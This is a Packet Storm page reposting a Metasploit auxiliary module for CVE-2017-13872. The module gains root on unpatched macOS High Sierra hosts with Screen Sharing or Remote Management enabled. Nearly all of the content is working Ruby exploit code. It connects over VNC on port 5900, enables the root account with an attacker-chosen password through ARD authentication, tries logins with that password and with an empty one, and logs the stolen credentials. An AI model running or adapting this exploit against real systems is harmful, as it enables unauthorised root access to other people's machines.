what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple Remote Desktop Root

Apple Remote Desktop Root
Posted Sep 1, 2024
Authored by jgor | Site metasploit.com

Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.

tags | exploit, remote, root
advisories | CVE-2017-13872
SHA-256 | 93618f0baeb5c0e067ea241b7e1873b7821075be229823de87b392c83e276231

Apple Remote Desktop Root

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner

def initialize
super(
'Name' => 'Apple Remote Desktop Root Vulnerability',
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
'References' =>
[
['CVE', '2017-13872'],
['URL', 'https://support.apple.com/en-us/HT208315']
],
'Author' => 'jgor',
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
])
end

def log_credential(password)
print_good("Login succeeded - root:#{password}")

service_data = {
address: target_host,
port: rport,
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: 'root',
private_data: password,
private_type: :password
}.merge(service_data)

credential_core = create_credential(credential_data)

login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)

create_credential_login(login_data)
end

def run_host(target_host)
begin
if datastore['PASSWORD'].empty?
password = Rex::Text::rand_text_alphanumeric(16)
else
password = datastore['PASSWORD']
end

connect
vnc = Rex::Proto::RFB::Client.new(sock)
if vnc.handshake
type = vnc.negotiate_authentication
unless type = Rex::Proto::RFB::AuthType::ARD
print_error("VNC server does not advertise security type ARD.")
return
end
print_status("Attempting authentication as root.")
if vnc.authenticate_with_type(type, 'root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with chosen password.")
if vnc.handshake
if vnc.authenticate_with_user('root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect

connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with empty password.")
if vnc.handshake
if vnc.authenticate_with_user('root', '')
log_credential('')
return
end
else
print_error("VNC handshake failed.")
return
end

ensure
disconnect
end

end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close